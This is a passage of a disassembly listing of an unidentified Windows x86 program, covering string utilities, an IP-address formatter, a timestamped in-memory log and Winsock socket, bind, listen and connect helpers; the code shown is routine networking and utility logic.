loc_4196AE: ; CODE XREF: sub_4193C0+2C7j
cmp eax, 2
jz short loc_419713
mov ecx, [esp+2B4h+var_2A4]
mov eax, [ecx+36h]
test eax, eax
jz short loc_4196C2
cmp eax, edi
jnz short loc_419713
loc_4196C2: ; CODE XREF: sub_4193C0+2FCj
lea edx, [esp+2B4h+var_224]
lea eax, [esp+2B4h+var_25C]
push edx
push eax
push offset aSS_6 ; "%s: %s"
loc_4196D4: ; CODE XREF: sub_4193C0+2ECj
lea ecx, [esp+2C0h+var_28C]
push ecx
call sub_40102D
mov esi, [esp+2C4h+arg_0]
add esp, 10h
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+2B8h+var_28C]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
loc_419713: ; CODE XREF: sub_4193C0+2CCj
; sub_4193C0+2DFj ...
lea ecx, [esp+2B4h+var_28C]
mov byte ptr [esp+2B4h+var_4], 0
call sub_401226
mov esi, [esp+2B4h+var_29C]
mov ebx, [esp+2B4h+var_2A4]
loc_41972C: ; CODE XREF: sub_4193C0+1A2j
mov eax, [esp+2B4h+var_298]
mov ecx, [esi]
inc eax
add ebp, 14h
cmp eax, ecx
mov [esp+2B4h+var_298], eax
jl loc_419554
loc_419742: ; CODE XREF: sub_4193C0+18Bj
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_41974C: ; CODE XREF: sub_4193C0+152j
lea ecx, [esp+2B4h+var_274]
mov [esp+2B4h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebp
jmp short loc_419768
; ---------------------------------------------------------------------------
loc_419766: ; CODE XREF: sub_4193C0+3Dj
mov al, 1
loc_419768: ; CODE XREF: sub_4193C0+3A4j
mov ecx, [esp+2ACh+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 2A4h
retn 4
sub_4193C0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419890 proc near ; CODE XREF: sub_40147Ej
var_20 = byte ptr -20h
arg_0 = byte ptr 4
arg_3 = dword ptr 7
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
mov eax, [esp+arg_3]
sub esp, 20h
mov edx, [esp+25h]
and eax, 0FFh
push ebx
push ebp
push esi
mov esi, ecx
mov ecx, [esp+32h]
mov ebx, [esp+2Ch+arg_8]
mov ebp, [esp+2Ch+arg_3+1]
push eax
mov eax, [esp+34h]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ebx
push ebp
nop
call near ptr 77C3FA76h
mov ecx, [esi+32h]
add esp, 1Ch
mov al, [ecx+4]
test al, al
jnz short loc_419950
mov al, [esp+2Ch+arg_C]
test al, al
jnz short loc_41991E
mov eax, [esp+30h]
test eax, eax
jz short loc_41991E
push 2
lea edx, [esp+30h+arg_0]
push 4
push edx
nop
call near ptr 71ABE479h
test eax, eax
jz short loc_419950
mov eax, [eax]
push ebx
push eax
push ebp
call near ptr 77C47A90h
nop
add esp, 0Ch
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
; ---------------------------------------------------------------------------
loc_41991E: ; CODE XREF: sub_419890+5Aj
; sub_419890+62j
push edi
mov ecx, 7
xor eax, eax
lea edi, [esp+30h+var_20]
rep stosd
lea ecx, [esp+30h+var_20]
push 1Dh
push ecx
stosw
nop
call near ptr 71AB50C8h
test eax, eax
pop edi
jnz short loc_419950
lea edx, [esp+2Ch+var_20]
push ebx
push edx
push ebp
call near ptr 77C47A90h
nop
add esp, 0Ch
loc_419950: ; CODE XREF: sub_419890+52j
; sub_419890+75j ...
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
sub_419890 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4199A0 proc near ; CODE XREF: sub_401F0Aj
nop
call near ptr 27E0C08h
push eax
nop
call near ptr 77C371BCh
pop ecx
retn
sub_4199A0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4199C0 proc near ; CODE XREF: sub_4021C6j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
nop
call near ptr 77C371D3h
mov esi, [esp+8+arg_0]
mov [esp+8+var_4], eax
mov eax, [esp+8+arg_4]
fild [esp+8+var_4]
sub eax, esi
mov [esp+8+arg_4], eax
fimul [esp+8+arg_4]
fmul dbl_43F0B0
call sub_437BDA
sub_4199C0 endp
; ---------------------------------------------------------------------------
sub esi, eax
mov eax, esi
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419A10: ; CODE XREF: ___:00401C99j
call near ptr 77C371D3h
nop
cdq
idiv dword ptr [esp+4]
mov eax, edx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
locret_419A30: ; CODE XREF: ___:00401528j
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419A50 proc near ; CODE XREF: sub_401FE1j
xor al, al
retn 4
sub_419A50 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419A70 proc near ; CODE XREF: sub_40152Dj
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
mov ecx, [esp+arg_4]
mov edx, [esp+arg_8]
cmp eax, 1
setnl al
mov byte ptr [esp+arg_C], al
push ecx
mov eax, [esp+4+arg_C]
push edx
push eax
push 0
mov ecx, offset byte_4D8085
call sub_401118
retn
sub_419A70 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419AB0: ; CODE XREF: ___:0040150Fj
sub esp, 0Ch
mov eax, [esp+20h]
push ebx
push ebp
push esi
xor esi, esi
push edi
cmp eax, esi
mov dword ptr [esp+18h], 80h
mov [esp+10h], esi
jz short loc_419AE3
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, esi
mov [esp+10h], eax
jz short loc_419AE3
mov [esp+18h], eax
loc_419AE3: ; CODE XREF: ___:00419ACBj
; ___:00419ADDj
mov edi, [esp+28h]
mov ebx, [esp+24h]
mov ebp, [esp+20h]
mov [esp+14h], esi
mov esi, offset dword_508E3C
loc_419AF8: ; CODE XREF: ___:00419B49j
mov ecx, [esp+14h]
mov eax, [esp+18h]
cmp ecx, eax
jge short loc_419B4B
cmp byte ptr [esi], 0
jz short loc_419B34
mov eax, [esp+30h]
test eax, eax
jz short loc_419B28
mov ecx, [esp+10h]
test ecx, ecx
jnz short loc_419B28
push eax
push esi
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz short loc_419B34
loc_419B28: ; CODE XREF: ___:00419B0Fj
; ___:00419B17j
push edi
push esi
push ebx
push ebp
call sub_40152D
add esp, 10h
loc_419B34: ; CODE XREF: ___:00419B07j
; ___:00419B26j
mov edx, [esp+14h]
add esi, 80h
inc edx
cmp esi, offset dword_50CE3C
mov [esp+14h], edx
jl short loc_419AF8
loc_419B4B: ; CODE XREF: ___:00419B02j
pop edi
pop esi
pop ebp
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419B90: ; CODE XREF: ___:00402289j
push ebx
mov ebx, dword_511B04
push esi
push edi
mov edi, [esp+10h]
mov esi, offset dword_508E3C
loc_419BA2: ; CODE XREF: ___:00419BBEj
cmp byte ptr [esi], 0
jz short loc_419BB2
push edi
push esi
call ebx ; strstr
add esp, 8
test eax, eax
jnz short loc_419BC6
loc_419BB2: ; CODE XREF: ___:00419BA5j
add esi, 80h
cmp esi, offset dword_50CE3C
jl short loc_419BA2
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419BC6: ; CODE XREF: ___:00419BB0j
pop edi
pop esi
mov eax, 1
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419BE0 proc near ; CODE XREF: sub_4010D2j
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
lea eax, [esp+10h+var_10]
push esi
push edi
push eax
call near ptr 27C0000h
nop
mov edi, dword_511B08
mov esi, offset dword_50CE3C
loc_419BFB: ; CODE XREF: sub_419BE0+3Bj
cmp byte ptr [esi], 0
jz short loc_419C0F
push 7Fh
lea ecx, [esi+80h]
push esi
push ecx
call edi ; strncpy
add esp, 0Ch
loc_419C0F: ; CODE XREF: sub_419BE0+1Ej
sub esi, 80h
cmp esi, offset dword_508E3C
jge short loc_419BFB
mov edx, [esp+18h+arg_0]
mov eax, [esp+18h+var_4]
mov ecx, [esp+12h]
push edx
mov edx, [esp+1Ch+var_8]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
mov eax, [esp+20h+var_10]
and edx, 0FFFFh
push ecx
mov ecx, [esp+1Ah]
push edx
mov edx, [esp+28h+var_10+2]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
and edx, 0FFFFh
push ecx
push edx
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push 80h
push offset dword_508E3C
call near ptr 77C3FA76h
nop
add esp, 28h
pop edi
pop esi
add esp, 10h
retn
sub_419BE0 endp
; ---------------------------------------------------------------------------
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419CB0: ; CODE XREF: ___:004012DAj
sub esp, 600h
mov ecx, 80h
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [esp+10h]
mov esi, [esp+614h]
rep stosd
mov ecx, 80h
lea edi, [esp+210h]
mov ebp, dword_511B08
push 1FFh
rep stosd
mov ecx, 80h
lea edi, [esp+414h]
rep stosd
lea eax, [esp+14h]
push esi
push eax
call ebp ; strncpy
mov edx, [esp+628h]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
add esp, 0Ch
repne scasb
not ecx
dec ecx
cmp ecx, 180h
jbe short loc_419D21
mov [edx+180h], al
loc_419D21: ; CODE XREF: ___:00419D19j
mov ebx, [esp+618h]
lea ecx, [esp+10h]
push ebx
push ecx
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_419E32
loc_419D3F: ; CODE XREF: ___:00419E25j
lea edx, [esp+10h]
push ebx
push edx
nop
call near ptr 77C47C60h
mov esi, eax
mov edi, ebx
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push 1FFh
add ecx, esi
lea eax, [esp+41Ch]
push ecx
push eax
call ebp ; strncpy
lea ecx, [esp+24h]
push 1FFh
lea edx, [esp+228h]
push ecx
push edx
mov byte ptr [esi], 0
call ebp ; strncpy
lea edx, [esi+1]
add esp, 20h
test edx, edx
jz short loc_419E00
lea eax, [ebx-1]
test eax, eax
jz short loc_419E00
lea edi, [ebx-1]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, edx
mov esi, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp ecx, esi
jbe short loc_419DDD
mov edx, [esp+61Ch]
lea ecx, [esp+410h]
push ecx
lea eax, [esp+214h]
push edx
push eax
lea ecx, [esp+1Ch]
push offset aSSS ; "%s%s%s"
push ecx
nop
call sub_5F74D1
add esp, 14h
jmp short loc_419E00
; ---------------------------------------------------------------------------
loc_419DDD: ; CODE XREF: ___:00419DAEj
mov edx, [esp+61Ch]
lea eax, [esp+210h]
push edx
push eax
lea ecx, [esp+18h]
push offset aSS_3 ; "%s%s"
push ecx
call sub_5F74D1
nop
add esp, 10h
loc_419E00: ; CODE XREF: ___:00419D8Aj
; ___:00419D91j ...
mov edx, [esp+61Ch]
mov esi, dword_511B04
push edx
push ebx
call esi ; strstr
add esp, 8
test eax, eax
jnz short loc_419E2B
lea eax, [esp+10h]
push ebx
push eax
call esi ; strstr
add esp, 8
test eax, eax
jnz loc_419D3F
loc_419E2B: ; CODE XREF: ___:00419E16j
mov esi, [esp+614h]
loc_419E32: ; CODE XREF: ___:00419D39j
lea edi, [esp+10h]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
lea ecx, [esp+14h]
push ecx
push esi
call ebp ; strncpy
add esp, 0Ch
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 600h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419ED0: ; CODE XREF: ___:004018DEj
sub esp, 10h
push esi
push 0
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_419EEE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419EEE: ; CODE XREF: ___:00419EE5j
mov ecx, [esp+18h]
xor eax, eax
mov [esp+4], eax
push ecx
mov [esp+0Ch], eax
mov word ptr [esp+8], 2
mov [esp+10h], eax
mov [esp+14h], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+4]
push 10h
push edx
push esi
mov [esp+12h], ax
mov dword ptr [esp+14h], 0
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_419F39
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419F39: ; CODE XREF: ___:00419F2Fj
push 7FFFFFFFh
push esi
call near ptr 71AB88D3h
nop
test eax, eax
jz short loc_419F51
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419F51: ; CODE XREF: ___:00419F47j
mov eax, esi
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419F90: ; CODE XREF: ___:00401E83j
push edi
xor edi, edi
mov eax, offset byte_4E02B5
loc_419F98: ; CODE XREF: ___:00419FA8j
cmp dword ptr [eax], 0
jz short loc_419FAA
add eax, 316h
inc edi
cmp eax, offset byte_4E7E25
jle short loc_419F98
loc_419FAA: ; CODE XREF: ___:00419F9Bj
cmp edi, 13h
jle short loc_419FB4
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_419FB4: ; CODE XREF: ___:00419FADj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, off_511C00
push esi
lea eax, [eax+eax*4]
lea esi, ds:4E01BBh[eax*2]
mov eax, [esp+10h]
push eax
push esi
call ebx ; sub_5F74D1
mov ecx, [esp+24h]
mov edx, [esp+1Ch]
mov eax, [esp+20h]
mov [esi+0FAh], ecx
mov ecx, [esp+28h]
mov [esi+0FEh], edi
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx ; sub_5F74D1
add esp, 10h
mov eax, edi
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A050 proc near ; CODE XREF: sub_4013F2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push edi
xor edi, edi
mov eax, offset dword_4D8745
loc_41A058: ; CODE XREF: sub_41A050+18j
cmp dword ptr [eax], 0
jz short loc_41A06A
add eax, 316h
inc edi
cmp eax, offset byte_4E02B5
jle short loc_41A058
loc_41A06A: ; CODE XREF: sub_41A050+Bj
cmp edi, 13h
jle short loc_41A074
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_41A074: ; CODE XREF: sub_41A050+1Dj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, off_511C00
push esi
lea eax, [eax+eax*4]
lea esi, ds:4D864Bh[eax*2]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
call ebx ; sub_5F74D1
mov ecx, [esp+14h+arg_C]
mov edx, [esp+14h+arg_4]
mov eax, [esp+14h+arg_8]
mov [esi+0FAh], ecx
mov ecx, [esp+14h+arg_10]
mov [esi+0FEh], edi
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx ; sub_5F74D1
add esp, 10h
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41A050 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A110 proc near ; CODE XREF: sub_401C49j
var_190 = byte ptr -190h
arg_0 = byte ptr 4
sub esp, 190h
push ebp
mov ebp, ecx
push esi
push edi
mov dword ptr [ebp+0], offset off_43F0BC
mov eax, dword_50DB08
test eax, eax
jnz short loc_41A148
mov eax, dword_50DB08
inc eax
mov dword_50DB08, eax
lea ecx, [esp+19Ch+var_190]
push ecx
push 202h
nop
call near ptr 71AB664Dh
jmp short loc_41A155
; ---------------------------------------------------------------------------
loc_41A148: ; CODE XREF: sub_41A110+19j
mov edx, dword_50DB08
inc edx
mov dword_50DB08, edx
loc_41A155: ; CODE XREF: sub_41A110+36j
mov al, [esp+19Ch+arg_0]
or ecx, 0FFFFFFFFh
mov [ebp+80Ah], al
mov edi, offset byte_448F40
xor eax, eax
mov [ebp+806h], ecx
mov byte ptr [ebp+80Ch], 0
mov word ptr [ebp+4], 0
repne scasb
not ecx
sub edi, ecx
lea edx, [ebp+6]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebp
and ecx, 3
rep movsb
pop edi
mov byte ptr [ebp+80Bh], 0
pop esi
pop ebp
add esp, 190h
retn 4
sub_41A110 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A1E0 proc near ; CODE XREF: ___:004018E3j sub_401B09j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401FE6
test [esp+4+arg_0], 1
jz short loc_41A1F8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41A1F8: ; CODE XREF: sub_41A1E0+Dj
mov eax, esi
pop esi
retn 4
sub_41A1E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A210 proc near ; CODE XREF: sub_401FE6j
mov al, [ecx+80Ah]
mov dword ptr [ecx], offset off_43F0BC
test al, al
jnz short loc_41A225
call sub_4014E7
loc_41A225: ; CODE XREF: sub_41A210+Ej
mov eax, 1
mov ecx, dword_50DB08
cmp ecx, eax
jle short loc_41A240
mov eax, dword_50DB08
dec eax
mov dword_50DB08, eax
locret_41A23F: ; CODE XREF: sub_41A210:loc_41A240j
retn
; ---------------------------------------------------------------------------
loc_41A240: ; CODE XREF: sub_41A210+22j
jnz short locret_41A23F
mov ecx, dword_50DB08
dec ecx
mov dword_50DB08, ecx
nop
jmp near ptr 71AB4428h
sub_41A210 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41A280: ; CODE XREF: ___:004015AAj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43BFCB
push eax
mov large fs:0, esp
sub esp, 814h
push esi
mov esi, ecx
call sub_40196A
test al, al
jz loc_41A331
mov al, [esi+80Bh]
test al, al
jz short loc_41A2B9
mov al, 1
jmp short loc_41A331
; ---------------------------------------------------------------------------
loc_41A2B9: ; CODE XREF: ___:0041A2B3j
push ebx
push edi
mov edi, [esp+830h]
push 800h
lea eax, [esi+6]
push edi
push eax
call near ptr 77C47A90h
nop
mov ebx, [esp+840h]
add esp, 0Ch
lea ecx, [esp+0Ch]
mov [esi+4], bx
call sub_401186
mov ecx, [esp+83Ch]
mov edx, [esp+838h]
push ecx
push edx
push ebx
push edi
lea ecx, [esp+1Ch]
mov dword ptr [esp+838h], 0
call sub_401640
push eax
mov ecx, esi
call sub_4020E5
lea ecx, [esp+0Ch]
mov bl, al
mov dword ptr [esp+828h], 0FFFFFFFFh
call sub_40187A
mov al, bl
pop edi
pop ebx
loc_41A331: ; CODE XREF: ___:0041A2A5j
; ___:0041A2B7j
mov ecx, [esp+818h]
pop esi
mov large fs:0, ecx
add esp, 820h
retn 10h
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A390 proc near ; CODE XREF: sub_40196Aj
mov al, byte_444DB4
retn
sub_41A390 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A3B0 proc near ; CODE XREF: sub_4020E5j
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
sub esp, 11Ch
push ebp
push esi
push edi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41A3D0
pop edi
pop esi
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A3D0: ; CODE XREF: sub_41A3B0+12j
mov al, [esi+80Bh]
test al, al
jnz loc_41A571
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A40A
mov ecx, esi
call sub_4014E7
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A40A: ; CODE XREF: sub_41A3B0+43j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A419
push 1
jmp short loc_41A41B
; ---------------------------------------------------------------------------
loc_41A419: ; CODE XREF: sub_41A3B0+63j
push 0
loc_41A41B: ; CODE XREF: sub_41A3B0+67j
mov ecx, esi
call sub_4018CA
mov edi, [esp+128h+arg_4]
xor eax, eax
mov [esp+128h+var_114], eax
push edi
mov [esp+12Ch+var_110], eax
mov [esi+4], di
mov [esp+12Ch+var_10C], eax
mov word ptr [esp+12Ch+var_114], 2
mov [esp+12Ch+var_108], eax
call near ptr 71AB2B66h
nop
mov ecx, [esp+128h+arg_0]
mov word ptr [esp+128h+var_114+2], ax
mov eax, [esi+806h]
lea edx, [esp+128h+var_114]
push 10h
push edx
push eax
mov [esp+134h+var_110], ecx
mov [esi+4], di
nop
call near ptr 71AB406Ah
mov ebp, dword_511C50
test eax, eax
jge short loc_41A4BC
call ebp ; WSAGetLastError
cmp eax, 2733h
jz short loc_41A4AD
call ebp ; WSAGetLastError
cmp eax, 0Bh
jz short loc_41A4AD
call ebp ; WSAGetLastError
cmp eax, 2733h
jz short loc_41A4AD
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A4AD: ; CODE XREF: sub_41A3B0+D6j
; sub_41A3B0+DDj ...
mov al, byte ptr [esp+128h+arg_8]
test al, al
jnz loc_41A56A
loc_41A4BC: ; CODE XREF: sub_41A3B0+CDj
mov eax, [esi+806h]
xor ecx, ecx
lea edx, [esp+128h+var_11C]
mov edi, dword_511C94
mov [esp+128h+var_11C], ecx
push edx
mov [esp+12Ch+var_118], ecx
push ecx
lea ecx, [esp+130h+var_104]
mov [esp+130h+var_100], eax
push ecx
inc eax
push 0
push eax
mov [esp+13Ch+var_11C], 0Ah
mov [esp+13Ch+var_104], 1
call edi ; select
test eax, eax
jge short loc_41A530
loc_41A4FB: ; CODE XREF: sub_41A3B0+17Ej
call ebp ; WSAGetLastError
call ebp ; WSAGetLastError
cmp eax, 4
jnz short loc_41A545
mov eax, [esp+128h+var_11C]
test eax, eax
jnz short loc_41A514
mov eax, [esp+128h+var_118]
test eax, eax
jz short loc_41A545
loc_41A514: ; CODE XREF: sub_41A3B0+15Aj
mov ecx, [esi+806h]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
inc ecx
push 0
push ecx
call edi ; select
test eax, eax
jl short loc_41A4FB
loc_41A530: ; CODE XREF: sub_41A3B0+149j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A561
mov edx, [esp+128h+arg_8]
push edx
jmp short loc_41A563
; ---------------------------------------------------------------------------
loc_41A545: ; CODE XREF: sub_41A3B0+152j
; sub_41A3B0+162j
mov ecx, esi
call sub_4014E7
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A561: ; CODE XREF: sub_41A3B0+189j
push 0
loc_41A563: ; CODE XREF: sub_41A3B0+193j
mov ecx, esi
call sub_4018CA
loc_41A56A: ; CODE XREF: sub_41A3B0+106j
mov byte ptr [esi+80Bh], 1
loc_41A571: ; CODE XREF: sub_41A3B0+28j
pop edi
pop esi
mov al, 1
pop ebp
add esp, 11Ch
retn 10h
sub_41A3B0 endp
; ---------------------------------------------------------------------------
db 90h
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A600 proc near ; CODE XREF: sub_4014E7j
push esi
mov esi, ecx
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41A61A
cmp eax, 0FFFFFFFFh
jz short loc_41A61A
push eax
call near ptr 71AB9639h
nop
loc_41A61A: ; CODE XREF: sub_41A600+Cj
; sub_41A600+11j
mov ecx, esi
call sub_401375
mov byte ptr [esi+80Bh], 0
pop esi
retn
sub_41A600 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A640 proc near ; CODE XREF: sub_401375j
push ebp
mov edx, ecx
push esi
push edi
or ecx, 0FFFFFFFFh
mov edi, offset byte_448F40
xor eax, eax
mov [edx+806h], ecx
mov word ptr [edx+4], 0
lea ebp, [edx+6]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
mov byte ptr [edx+80Bh], 0
mov byte ptr [edx+80Ch], 0
pop ebp
retn
sub_41A640 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A6B0 proc near ; CODE XREF: sub_401492j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41A6C6
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A6C6: ; CODE XREF: sub_41A6B0+Dj
mov al, [esi+80Bh]
test al, al
jnz loc_41A77F
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A6FB
mov ecx, esi
call sub_4014E7
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A6FB: ; CODE XREF: sub_41A6B0+39j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
mov word ptr [esp+14h+var_10+2], ax
mov eax, [esi+806h]
lea edx, [esp+14h+var_10]
push 10h
push edx
push eax
mov [esp+20h+var_C], 0
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_41A754
mov ecx, esi
call sub_4014E7
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A754: ; CODE XREF: sub_41A6B0+92j
mov ecx, [esi+806h]
push 32h
push ecx
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_41A778
mov ecx, esi
call sub_4014E7
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A778: ; CODE XREF: sub_41A6B0+B6j
mov byte ptr [esi+80Bh], 1
loc_41A77F: ; CODE XREF: sub_41A6B0+1Ej
mov al, 1
pop esi
add esp, 10h
retn 4
sub_41A6B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A7D0 proc near ; CODE XREF: sub_401B95j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 120h
push esi
push edi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41A7EE
pop edi
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A7EE: ; CODE XREF: sub_41A7D0+11j
mov al, [esi+80Bh]
test al, al
jnz short loc_41A805
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
